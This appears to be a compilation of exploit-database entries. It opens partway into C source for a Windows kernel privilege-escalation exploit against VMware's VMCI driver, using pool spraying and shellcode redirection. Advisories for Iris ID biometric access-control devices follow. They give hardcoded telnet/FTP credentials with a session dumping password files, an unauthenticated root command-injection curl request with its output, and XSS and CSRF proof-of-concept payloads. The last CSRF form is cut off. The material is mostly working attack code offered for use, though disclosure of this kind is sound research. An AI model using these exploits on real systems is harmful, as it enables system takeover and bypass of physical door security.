    DWORD    dwLookupProcessID = dwProcessID;

    if (pHandleTable == NULL)
    {
        printf("Ain't funny\n");
        return;
    }

    if (dwLookupProcessID == 0)
    {
        dwLookupProcessID = GetCurrentProcessId();
    }

    for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
    {
        if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].HandleValue == hObject))
        {
            pHandleTable->Handles[i].Object = NULL;
            pHandleTable->Handles[i].HandleValue = NULL;
            break;
        }
    }

    return;
}

void PoolSpray()
{
    // Init used native API function
    lpNtQuerySystemInformation NtQuerySystemInformation = (lpNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
    if (NtQuerySystemInformation == NULL)
    {
        printf("Such a fail...\n");
        return;
    }
    
    // Determine object size
    // xp: 
    //const DWORD_PTR dwSemaphoreSize = 0x38;
    // 7:
    //const DWORD_PTR dwSemaphoreSize = 0x48;

    DWORD_PTR dwSemaphoreSize = 0;

    if (LOBYTE(GetVersion()) == 5)
    {
        dwSemaphoreSize = 0x38;
    }
    else if (LOBYTE(GetVersion()) == 6)
    {
        dwSemaphoreSize = 0x48;
    }

    unsigned int cycleCount = 0;
    while (cycleCount < 50000)
    {
        HANDLE hTemp = CreateSemaphore(NULL, 0, 3, NULL);
        if (hTemp == NULL)
        {
            break;
        }

        ++cycleCount;
    }

    printf("\t[+] Spawned lots of semaphores\n");

    printf("\t[.] Initing pool windows\n");
    Sleep(2000);

    DWORD dwNeeded = 4096;
    NTSTATUS status = 0xFFFFFFFF;
    PVOID pBuf = VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE);

    while (true)
    {
        status = NtQuerySystemInformation(SystemExtendedHandleInformation, pBuf, dwNeeded, NULL);
        if (status != STATUS_SUCCESS)
        {
            dwNeeded *= 2;
            VirtualFree(pBuf, 0, MEM_RELEASE);
            pBuf = VirtualAlloc(NULL, dwNeeded, MEM_COMMIT, PAGE_READWRITE);
        }
        else
        {
            break;
        }
    };

    HANDLE hHandlesToClose[0x30] = {0};
    DWORD dwCurPID = GetCurrentProcessId();
    PSYSTEM_HANDLE_INFORMATION_EX pHandleTable = (PSYSTEM_HANDLE_INFORMATION_EX)pBuf;

    for (ULONG i = 0; i < pHandleTable->NumberOfHandles; i++)
    {
        if (pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwCurPID)
        {
            DWORD_PTR    dwTestObjAddr = (DWORD_PTR)pHandleTable->Handles[i].Object;
            DWORD_PTR    dwTestHandleVal = (DWORD_PTR)pHandleTable->Handles[i].HandleValue;
            DWORD_PTR    dwWindowAddress = 0;
            bool        bPoolWindowFound = false;

            UINT iObjectsNeeded = 0;
            // Needed window size is vmci packet pool chunk size (0x218) divided by
            // Semaphore pool chunk size (dwSemaphoreSize)
            iObjectsNeeded = (0x218 / dwSemaphoreSize) + ((0x218 % dwSemaphoreSize != 0) ? 1 : 0);
        
            if (
                    // Not on a page boundary
                    ((dwTestObjAddr & 0xFFF) != 0) 
                    && 
                    // Doesn't cross page boundary
                    (((dwTestObjAddr + 0x300) & 0xF000) == (dwTestObjAddr & 0xF000)) 
                )
            {
                // Check previous object for being our semaphore
                DWORD_PTR dwPrevObject = dwTestObjAddr - dwSemaphoreSize;
                if (LookupObjectHandle(pHandleTable, (PVOID)dwPrevObject) == NULL)
                {
                    continue;
                }

                for (unsigned int j = 1; j < iObjectsNeeded; j++)
                {
                    DWORD_PTR dwNextTestAddr = dwTestObjAddr + (j * dwSemaphoreSize);
                    HANDLE hLookedUp = LookupObjectHandle(pHandleTable, (PVOID)dwNextTestAddr);

                    //printf("dwTestObjPtr = %08X, dwTestObjHandle = %08X\n", dwTestObjAddr, dwTestHandleVal);
                    //printf("\tdwTestNeighbour = %08X\n", dwNextTestAddr);
                    //printf("\tLooked up handle = %08X\n", hLookedUp);

                    if (hLookedUp != NULL)
                    {
                        hHandlesToClose[j] = hLookedUp;

                        if (j == iObjectsNeeded - 1)
                        {
                            // Now test the following object
                            dwNextTestAddr = dwTestObjAddr + ((j + 1) * dwSemaphoreSize);
                            if (LookupObjectHandle(pHandleTable, (PVOID)dwNextTestAddr) != NULL)
                            {
                                hHandlesToClose[0] = (HANDLE)dwTestHandleVal;
                                bPoolWindowFound = true;

                                dwWindowAddress = dwTestObjAddr;

                                // Close handles to create a memory window
                                for (int k = 0; k < iObjectsNeeded; k++)
                                {
                                    if (hHandlesToClose[k] != NULL)
                                    {
                                        CloseHandle(hHandlesToClose[k]);
                                        CloseTableHandle(pHandleTable, hHandlesToClose[k]);
                                    }
                                }
                            }
                            else
                            {
                                memset(hHandlesToClose, 0, sizeof(hHandlesToClose));
                                break;
                            }
                        }
                    }
                    else
                    {
                        memset(hHandlesToClose, 0, sizeof(hHandlesToClose));
                        break;
                    }
                }

                if (bPoolWindowFound)
                {
                    printf("\t[+] Window found at %08X!\n", dwWindowAddress);
                }

            }
        }
    }

    VirtualFree(pBuf, 0, MEM_RELEASE);

    return;
}

void InitFakeBuf(PVOID pBuf, DWORD dwSize)
{
    if (pBuf != NULL)
    {
        RtlFillMemory(pBuf, dwSize, 0x11);
    }

    return;
}

void PlaceFakeObjects(PVOID pBuf, DWORD dwSize, DWORD dwStep)
{
    /*
        Previous chunk size will be always 0x43 and the pool index will be 0, so the last bytes will be 0x0043
        So, for every 0xXXXX0043 address we must suffice the following conditions:

        lea        edx, [eax+38h]
        lock    xadd [edx], ecx
        cmp        ecx, 1

        Some sort of lock at [addr + 38] must be equal to 1. And

        call    dword ptr [eax+0ACh]

        The call site is located at [addr + 0xAC]

        Also fake the object to be dereferenced at [addr + 0x100]
    */

    if (pBuf != NULL)
    {
        for (PUCHAR iAddr = (PUCHAR)pBuf + 0x43; iAddr < (PUCHAR)pBuf + dwSize; iAddr = iAddr + dwStep)
        {
            PDWORD pLock = (PDWORD)(iAddr + 0x38);
            PDWORD_PTR pCallMeMayBe = (PDWORD_PTR)(iAddr + 0xAC);
            PDWORD_PTR pFakeDerefObj = (PDWORD_PTR)(iAddr + 0x100);

            *pLock = 1;
            *pCallMeMayBe = (DWORD_PTR)FireShell;
            *pFakeDerefObj = (DWORD_PTR)pBuf + 0x1000;
        }
    }

    return;
}

void PenetrateVMCI()
{
    /*

        VMware Security Advisory
        Advisory ID:    VMSA-2013-0002
        Synopsis:    VMware ESX, Workstation, Fusion, and View VMCI privilege escalation vulnerability
        Issue date:    2013-02-07
        Updated on:    2013-02-07 (initial advisory)
        CVE numbers:    CVE-2013-1406

    */

    DWORD dwPidToElevate = 0;
    HANDLE hSuspThread = NULL;

    bool bXP = (LOBYTE(GetVersion()) == 5);
    bool b7 = ((LOBYTE(GetVersion()) == 6) && (HIBYTE(LOWORD(GetVersion())) == 1));
    bool b8 = ((LOBYTE(GetVersion()) == 6) && (HIBYTE(LOWORD(GetVersion())) == 2));

    if (!InitKernelFuncs())
    {
        printf("[-] Like I don't know where the shellcode functions are\n");
        return;
    }

    if (bXP)
    {
        printf("[?] Who do we want to elevate?\n");
        scanf_s("%d", &dwPidToElevate);

        hProcessToElevate = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPidToElevate);
        if (hProcessToElevate == NULL)
        {
            printf("[-] This process doesn't want to be elevated\n");
            return;
        }
    }

    if (b7 || b8)
    {
        // We are unable to change an active process token on-the-fly,
        // so we create a custom shell suspended (Ionescu hack)
        STARTUPINFO si = {0};
        PROCESS_INFORMATION pi = {0};

        si.wShowWindow = TRUE;

        WCHAR cmdPath[MAX_PATH] = {0};
        GetSystemDirectory(cmdPath, MAX_PATH);
        wcscat_s(cmdPath, MAX_PATH, L"\\cmd.exe");

        if (CreateProcess(cmdPath, L"", NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == TRUE)
        {
            hProcessToElevate = pi.hProcess;
            hSuspThread = pi.hThread;
        }
    }

    HANDLE hVMCIDevice = CreateFile(L"\\\\.\\vmci", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
    if (hVMCIDevice != INVALID_HANDLE_VALUE)
    {
        UCHAR BadBuff[0x624] = {0};
        UCHAR retBuf[0x624] = {0};
        DWORD dwRet = 0;

        printf("[+] VMCI service found running\n");

        PVM_REQUEST pVmReq = (PVM_REQUEST)BadBuff;
        pVmReq->Header.RequestSize = 0xFFFFFFF0;
        
        PVOID pShellSprayBufStd = NULL;
        PVOID pShellSprayBufQtd = NULL;
        PVOID pShellSprayBufStd7 = NULL;
        PVOID pShellSprayBufQtd7 = NULL;
        PVOID pShellSprayBufChk8 = NULL;

        if ((b7) || (bXP) || (b8))
        {
            /*
                Significant bits of a PoolType of a chunk define the following regions:
                0x0A000000 - 0x0BFFFFFF - Standard chunk
                0x1A000000 - 0x1BFFFFFF - Quoted chunk
                0x0 - 0xFFFFFFFF - Free chunk - no idea

                Addon for Windows 7:
                Since PoolType flags have changed, and "In use flag" is now 0x2,
                define an additional region for Win7:

                0x04000000 - 0x06000000 - Standard chunk
                0x14000000 - 0x16000000 - Quoted chunk
            */
            
            pShellSprayBufStd = VirtualAlloc((LPVOID)0xA000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            pShellSprayBufQtd = VirtualAlloc((LPVOID)0x1A000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            pShellSprayBufStd7 = VirtualAlloc((LPVOID)0x4000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            pShellSprayBufQtd7 = VirtualAlloc((LPVOID)0x14000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

            if ((pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL))
            {
                printf("\t[-] Unable to map the needed memory regions, please try running the app again\n");
                CloseHandle(hVMCIDevice);
                return;
            }

            InitFakeBuf(pShellSprayBufStd, 0x2000000);
            InitFakeBuf(pShellSprayBufQtd, 0x2000000);
            InitFakeBuf(pShellSprayBufStd7, 0x2000000);
            InitFakeBuf(pShellSprayBufQtd7, 0x2000000);

            PlaceFakeObjects(pShellSprayBufStd, 0x2000000, 0x10000);
            PlaceFakeObjects(pShellSprayBufQtd, 0x2000000, 0x10000);
            PlaceFakeObjects(pShellSprayBufStd7, 0x2000000, 0x10000);
            PlaceFakeObjects(pShellSprayBufQtd7, 0x2000000, 0x10000);

            if (SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL) == FALSE)
            {
                SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST);
            }

            PoolSpray();

            if (DeviceIoControl(hVMCIDevice, 0x8103208C, BadBuff, sizeof(BadBuff), retBuf, sizeof(retBuf), &dwRet, NULL) == TRUE)
            {
                printf("\t[!] If you don't see any BSOD, you're successful\n");

                if (b7 || b8)
                {
                    ResumeThread(hSuspThread);
                }
            }
            else
            {
                printf("[-] Not this time %d\n", GetLastError());
            }

            if (pShellSprayBufStd != NULL)
            {
                VirtualFree(pShellSprayBufStd, 0, MEM_RELEASE);
            }

            if (pShellSprayBufQtd != NULL)
            {
                VirtualFree(pShellSprayBufQtd, 0, MEM_RELEASE);
            }
        }

        SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_NORMAL);

        CloseHandle(hVMCIDevice);
    }
    else
    {
        printf("[-] Like I don't see vmware here\n");
    }

    CloseHandle(hProcessToElevate);

    return;
}
            

Iris ID IrisAccess iCAM4000/iCAM7000 Hardcoded Credentials Remote Shell Access


Vendor: Iris ID, Inc.
Product web page: http://www.irisid.com
                  http://www.irisid.com/productssolutions/irisaccesssystem/irisaccess4000/
                  http://www.irisid.com/productssolutions/hardwareproducts/icam4000series/
                  http://www.irisid.com/productssolutions/irisaccesssystem/irisaccess7000/
                  http://www.irisid.com/productssolutions/hardwareproducts/icam7-series/

Affected version: iCAM4000:
                  iCAM Software: 3.09.02
                  iCAM File system: 1.3
                  CMR Firmware: 5.5 and 3.8
                  EIF Firmware: 9.5 and 8.0
                  HID iClass Library: 2.01.05
                  ImageData Library: 1.153
                  Command Process: 1.02

                  iCAM7000:
                  iCAM Software: 8.01.07
                  iCAM File system: 1.4.0
                  EIF Firmware: 1.9
                  HID iClass Library: 1.00.00
                  ImageData Library: 01.01.32
                  EyeSeek Library: 5.00
                  Countermeasure Library: 3.00
                  LensFinder Library: 5.00
                  Tilt Assist Library: 4.00

Summary: The 4th generation IrisAccess 7000 series iris recognition solution offered
by Iris ID provides fast, secure, and highly accurate, non-contact identification
by the iris of the eye. The iCAM7000's versatility and flexibility allows for easy
integration with many Wiegand and network based access control, time and attendance,
visitor management and point of sale applications.

The iCAM4000 or 4010 with embedded smart card is the best-selling model in the IrisAccess
4000 range. Simultaneous two-eye capture, face-badging camera, motorized height adjust,
iCAM4000 is easily configured for use in a kiosk as well as in applications where a traditional
wall-mount is used.

Desc: The Iris ID IrisAccess iCAM4000/7000 series suffer from a use of hard-coded credentials.
When visiting the device interface with a browser on port 80, the application loads an applet
JAR file 'ICAMClient.jar' into user's browser which serves additional admin features. In the
JAR file there is an account 'rou' with password 'iris4000' that has read and limited write
privileges on the affected node. An attacker can access the device using these credentials
starting a simple telnet session on port 23 gaining access to sensitive information and/or
FTP access on port 21 (with EVERYTHING allowed) and uploading malicious content.

=====================================================================================

/html/ICAMClient.jar (ICAMClient.java):
---------------------------------------

97:  param_host = getParameter("host");
98:  param_user = "rou";//getParameter("user");
99:  param_pass = "iris4000";//getParameter("pass"); // password
100: param_path = getParameter("path"); // path on the server


/etc/ftpd/ftpd.conf:
--------------------

69:  # User list:
70:  # Format:  user=<login> <passwd> <subdir> <maxlogins> <flags>
71:  #           <login>     user name
72:  #           <passwd>    password or * for anonymous access
73:  #           <subdir>    (internally appended to serverroot)
74:  #                       the user has access to the WHOLE SUBTREE,
75:  #                       if the server has access to it
76:  #           <maxlogins> maximal logins with this usertype
77:  #           <flags>     D - download
78:  #                       U - upload + making directories
79:  #                       O - overwrite existing files
80:  #                       M - allows multiple logins
81:  #                       E - allows erase operations
82:  #                       A - allows EVERYTHING(!)
101: 
103: user=rou iris4000 / 5 A

=====================================================================================


Tested on: GNU/Linux 2.4.19 (armv5tel)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5347
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5347.php


06.05.2016

--


telnet [IP]
iCAM4000 login: rou
Password:
[rou@iCAM4000 rou]# id
uid=500(rou) gid=500(rou) groups=500(rou)
[rou@iCAM4000 rou]# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
rou:x:500:500::/home/rou:/bin/bash
[rou@iCAM4000 rou]# cd /web
[rou@iCAM4000 /web]# ls -al
total 0
drwxrwxr-x    1 rou      rou             0 Jul 26 07:22 .
drwxr-xr-x    1 root     root            0 Jan  1  1970 ..
drwxrwxr-x    1 rou      rou             0 Jan 31  2013 cgi-bin
drwxrwxr-x    1 rou      rou             0 Jan 31  2013 html
drwxrwxr-x    1 rou      rou             0 Jan 31  2013 images
[rou@iCAM4000 /web]# cat /etc/shadow
root:{{REMOVED}}
bin:*:10897:0:99999:7:::
daemon:*:10897:0:99999:7:::
adm:*:10897:0:99999:7:::
lp:*:10897:0:99999:7:::
sync:*:10897:0:99999:7:::
shutdown:*:10897:0:99999:7:::
halt:*:10897:0:99999:7:::
mail:*:10897:0:99999:7:::
news:*:10897:0:99999:7:::
uucp:*:10897:0:99999:7:::
operator:*:10897:0:99999:7:::
games:*:10897:0:99999:7:::
gopher:*:10897:0:99999:7:::
ftp:*:10897:0:99999:7:::
nobody:*:10897:0:99999:7:::
rou:$1$LfhrWa0e$Crfm4qz7MFEaWaA77NFci0:12702:0:99999:7:::
[rou@iCAM4000 /web]# cat /etc/issue

Iris@ID iCAM4000 Linux (experimental)
Kernel 2.4.19-rmk7-pxa1 on an armv5tel
[rou@iCAM4000 /web]# ls -al html/
total 289
drwxrwxr-x    1 rou      rou             0 Jan 31  2013 .
drwxrwxr-x    1 rou      rou             0 Jul 26 07:22 ..
-rw-rw-r--    1 rou      rou          4035 Jan 31  2013 DHCPSettings_reboot.htm
-rw-rw-r--    1 rou      rou        100614 Jan 10  2008 ICAMClient.jar
-rw-rw-r--    1 rou      rou          6376 Jan 31  2013 WiegandSettings.htm
-rw-rw-r--    1 rou      rou          5643 Jan 31  2013 authentication.htm
-rw-rw-r--    1 rou      rou          6166 Jan 31  2013 changeusername.htm
-rw-rw-r--    1 rou      rou          4816 Jan 31  2013 displayconfigsettings.htm
-rw-rw-r--    1 rou      rou          5643 Jan 31  2013 downloadauthentication.htm
-rw-rw-r--    1 rou      rou          4850 Jan 31  2013 downloadvoice_result.htm
-rw-rw-r--    1 rou      rou          3237 Jan 31  2013 error.htm
-rw-rw-r--    1 rou      rou          3234 Jan 31  2013 error_ip.htm
-rw-rw-r--    1 rou      rou          3248 Jan 31  2013 error_loginfailure.htm
-rw-rw-r--    1 rou      rou          3349 Jan 31  2013 error_usb_ip.htm
-rw-rw-r--    1 rou      rou          6128 Jan 31  2013 ftpupload.htm
-rw-rw-r--    1 rou      rou          5331 Jan 31  2013 iCAMConfig.htm
-rw-rw-r--    1 rou      rou          4890 Jan 31  2013 icamconfig_reboot.htm
-rw-rw-r--    1 rou      rou          5314 Jan 31  2013 index.htm
-rw-rw-r--    1 rou      rou          7290 Jan 31  2013 main.htm
-rw-rw-r--    1 rou      rou          3662 Jan 31  2013 reboot_result.htm
-rw-rw-r--    1 rou      rou          5782 Jan 31  2013 smartcardauthentication.htm
-rw-rw-r--    1 rou      rou         17783 Jan 31  2013 smartcardconfig.htm
-rw-rw-r--    1 rou      rou          4895 Jan 31  2013 smartcardconfig_reboot.htm
-rw-rw-r--    1 rou      rou          5809 Jan 31  2013 smartcardconfig_result.htm
-rw-rw-r--    1 rou      rou          3672 Jan 31  2013 systeminfo.htm
-rw-rw-r--    1 rou      rou          5870 Jan 31  2013 updateicamconfig.htm
-rw-rw-r--    1 rou      rou          4239 Jan 31  2013 updateicamconfig_result.htm
-rw-rw-r--    1 rou      rou          6612 Jan 31  2013 updatenetworksettings.htm
-rw-rw-r--    1 rou      rou          4651 Jan 31  2013 updatenetworksettings_result.htm
-rw-rw-r--    1 rou      rou          5014 Jan 31  2013 updatenetworksettings_state.htm
-rw-rw-r--    1 rou      rou          3985 Jan 31  2013 upload.htm
-rw-rw-r--    1 rou      rou          5645 Jan 31  2013 uploadauthentication.htm
-rw-rw-r--    1 rou      rou          4737 Jan 31  2013 uploadiriscapture_result.htm
-rw-rw-r--    1 rou      rou          6028 Jan 31  2013 voicemessagedownload.htm
-rw-rw-r--    1 rou      rou          6299 Jan 31  2013 voicemessageupdate.htm
-rw-rw-r--    1 rou      rou          5645 Jan 31  2013 wiegandauthentication.htm
-rw-rw-r--    1 rou      rou          4893 Jan 31  2013 wiegandconfig_reboot.htm
[rou@iCAM4000 /web]# echo $SHELL
/bin/bash
[rou@iCAM4000 /web]# echo pwn > test.write
[rou@iCAM4000 /web]# cat test.write
pwn
[rou@iCAM4000 /web]# rm -rf test.write
[rou@iCAM4000 /web]# cd /etc/ftpd
[rou@iCAM4000 ftpd]# pwd
/etc/ftpd
[rou@iCAM4000 ftpd]# cat ftpd.conf |grep user=rou
user=rou iris4000 / 5 A
[rou@iCAM4000 ftpd]# ^D
Connection to host lost.
            

Iris ID IrisAccess ICU 7000-2 Remote Root Command Execution


Vendor: Iris ID, Inc.
Product web page: http://www.irisid.com
                  http://www.irisid.com/productssolutions/hardwareproducts/icu-7000-2/

Affected version: ICU Software: 1.00.08
                  ICU OS: 1.3.8
                  ICU File system: 1.3.8
                  EIF Firmware [Channel 1]: 1.9
                  EIF Firmware [Channel 2]: 1.9
                  Iris TwoPi: 1.4.5

Summary: The ICU 7000-2 is an optional component used when the client requires
iris template data to be matched on the secure side of the door. When using ICU
no data is stored in the iCAM7 Iris Reader itself. The ICU also ensures that portal
operation can continue if the there is an interruption in communication with the
host computer. In such circumstances, the ICU retains the records of portal activity,
then automatically updates the host upon resumption of host communication. Every
ICU in the iCAM4000 / 7 series runs on a LINUX OS for added reliability. Independent
and fault tolerant, ICUs are connected up to 2 iCAMs and handle up to 100,000 users.

Desc: The Iris ID IrisAccess ICU 7000-2 device suffers from an unauthenticated remote
command execution vulnerability. The vulnerability exist due to several POST parameters
in the '/html/SetSmarcardSettings.php' script not being sanitized when using the exec()
PHP function while updating the Smart Card Settings on the affected device. Calling the
'$CommandForExe' variable which is set to call the '/cgi-bin/setsmartcard' CGI binary
with the affected parameters as arguments allows the attacker to execute arbitrary system
commands as the root user and bypass the biometric access control in place.

=====================================================================================

/html/SetSmarCardSettings.php:
------------------------------

53: <?php
54:  $ChNo = $_POST['HidChannelID'];
55:  if(0 == $ChNo )
56:   echo "1";
57:  else
58:   echo $ChNo;
59: ?>
61: <?php
62:  echo "<input type = \"hidden\" name=\"HidChannelID\" value=\"$ChNo\">";	 
63:  echo "<input type=\"hidden\" name=\"ssid\" value=\"1234\">"
64: ?>
81: <td class="menuMain">Smart Card Settings</td>
88: <!-- Content: BOF -->
97: <?php
99:  $FileAvaToUpload = $_POST['HidIsFileSelect'];
100:   //echo "<br>File availabe is: ";
101:   //echo $FileAvaToUpload;
102:   //echo "<br>";
104: $BookVal = $_POST['cmbBook'];
105:   //echo "<br>BookVal is ";
106:   //echo $BookVal;
108:   //echo "<br>Channel value is ";
109:   //echo $ChNo;
111: $OffSet = $_POST['txtOffSet'];
112:   //echo "<br>Offset is ";
113:   //echo $OffSet;
115: $DataFormat = $_POST['DataFormat'];
117:   //echo "<br>DataFormat is ";
118:   //echo $DataFormat;
120: $EncryptAlg = $_POST['EncryAlg'];
122:   if(0 == $DataFormat )
123:   $EncryptAlg = 4;
125:   //echo "<br>Encryption Algarithm is ";
126:   //echo $EncryptAlg;
128: $UseAsProxyCard = $_POST['chkUseAsProxCard'];
129:   if( "" == $UseAsProxyCard )
130:   $UseAsProxyCard = "0";
132:   //echo "<br>Use as ProxyCard is ";
133:   //echo $UseAsProxyCard;
135: $target_dir = "/tmp/temp_SmartCardKey";
137:   //$target_dir = $target_dir . basename( $_FILES["file1"]["name"]);
139: if(1 == $FileAvaToUpload ) {
140:   if (move_uploaded_file($_FILES["file1"]["tmp_name"], $target_dir)) {
141:   //echo "The file ". basename( $_FILES["file1"]["name"]). " has been uploaded.";
142:   } else {
143:   //echo "Sorry, there was an error uploading your file.";
144:   }
145: }
147: $out = null;
148: $rc= 0;
149: $CommandForExe = "../cgi-bin/setsmartcard  $ChNo $BookVal $OffSet $DataFormat $EncryptAlg $UseAsProxyCard $FileAvaToUpload";
150: //$CommandForExe = "../cgi-bin/setsmartcard  1 0 10 1 1 0";
151: echo exec($CommandForExe, $out, $rc);
153:   //print_r( $out);
154:   //echo 'rc = '.$rc."\n";      
156:   //echo "After calling binary";
158:   //echo "Return value is: ";
159:   //echo $rc;
160:   //echo $out;
162: $sICUVersion = $_POST['HidVerForPHP'];
163: ?>

=====================================================================================

Vulnerable parameters: DataFormat
                       EncryAlg
                       HidChannelID
                       HidIsFileSelect
                       cmbBook
                       txtOffSet


Tested on: GNU/Linux 3.0.51 (armv7l)
           mylighttpd v1.0
           PHP/5.5.13


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5346
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5346.php


06.05.2016

--


Request (cmbBook=0|id #):
-------------------------

[lqwrm@lalaland /]# curl -i -s -k  -X 'POST' \
-H 'User-Agent: joxypoxy/7.2.6' -H 'Content-Type: application/x-www-form-urlencoded' \
--data-binary $'HidChannelID=2&HidcmbBook=0&cmbBook=0|id+%23&HidDisOffSet=13&txtOffSet=37&HidDataFormat=1&HidDataFormatVal=1&DataFormat=1&HidFileAvailable=0&HidEncryAlg=0&EncryAlg=0&HidFileType=0&HidIsFileSelect=0&HidUseAsProxCard=0&HidVerForPHP=1.00.08\x0d\x0a' \
'http://[TARGET]/html/SetSmarcardSettings.php'


Response:
---------

HTTP/1.1 200 OK
X-Powered-By: PHP/5.5.13
Content-type: text/html
Connection: close
Date: Thu, 09 May 2016 14:40:39 GMT
Server:  mylighttpd v1.0
Content-Length: 11660

...
</tr>
uid=0(root) gid=0(root)         <tr>
<td colspan="2">
...
            

Iris ID IrisAccess ICU 7000-2 Multiple XSS and CSRF Vulnerabilities


Vendor: Iris ID, Inc.
Product web page: http://www.irisid.com
Affected version: ICU Software: 1.00.08
                  ICU OS: 1.3.8
                  ICU File system: 1.3.8
                  EIF Firmware [Channel 1]: 1.9
                  EIF Firmware [Channel 2]: 1.9
                  Iris TwoPi: 1.4.5

Summary: The ICU 7000-2 is an optional component used when the client requires
iris template data to be matched on the secure side of the door. When using ICU
no data is stored in the iCAM7 Iris Reader itself. The ICU also ensures that portal
operation can continue if the there is an interruption in communication with the
host computer. In such circumstances, the ICU retains the records of portal activity,
then automatically updates the host upon resumption of host communication. Every
ICU in the iCAM4000 / 7 series runs on a LINUX OS for added reliability. Independent
and fault tolerant, ICUs are connected up to 2 iCAMs and handle up to 100,000 users.

Desc: The application is prone to multiple reflected cross-site scripting vulnerabilities
due to a failure to properly sanitize user-supplied input to the 'HidChannelID' and
'HidVerForPHP' POST parameters in the 'SetSmarcardSettings.php' script. Attackers can
exploit this issue to execute arbitrary HTML and script code in a user's browser session.
The application also allows users to perform certain actions via HTTP requests without
performing any validity checks to verify the requests. This can be exploited to perform
certain actions with administrative privileges if a logged-in user visits a malicious web
site.

Tested on: GNU/Linux 3.0.51 (armv7l)
           mylighttpd v1.0
           PHP/5.5.13


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5345
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5345.php


06.05.2016

--


XSS PoC:
--------

POST /html/SetSmarcardSettings.php HTTP/1.1
Host: 10.0.0.17
Connection: close
Content-Length: x
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzczxmPRCR0fYr2SO
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8

------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidChannelID"

2"><script>alert(1)</script>
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidcmbBook"

0
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="cmbBook"

0
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidDisOffSet"

13
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="txtOffSet"

13
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidDataFormat"

1
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidDataFormatVal"

1
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="DataFormat"

1
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidFileAvailable"

0
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidEncryAlg"

0
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="EncryAlg"

0
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidFileType"

0
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidIsFileSelect"

0
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidUseAsProxCard"

0
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidVerForPHP"

1.00.08"><script>alert(2)</script>
------WebKitFormBoundaryzczxmPRCR0fYr2SO--



CSRF PoC:
---------

<html>
  <body>
    <form action="http://10.0.0.17/cgi-bin/SetRS422Settings" method="POST">
      <input type="hidden" name="HidChannelID" value="2" />
      <input type="hidden" name="RS422State" value="0" />
      <input type="hidden" name="HidRS422BitsSec" value="9" />
      <input type="hidden" name="HidRS422DataBits" value="3" />
      <input type="hidden" name="HidRS422Parity" value="1" />
      <input type="hidden" name="HidRS422StopBits" value="2" />
      <input type="hidden" name="HidRS422StartCharLength" value="2" />
      <input type="hidden" name="HidRS422EndCharLength" value="2" />
      <input type="hidden" name="HidRS422StartOne" value="7F" />
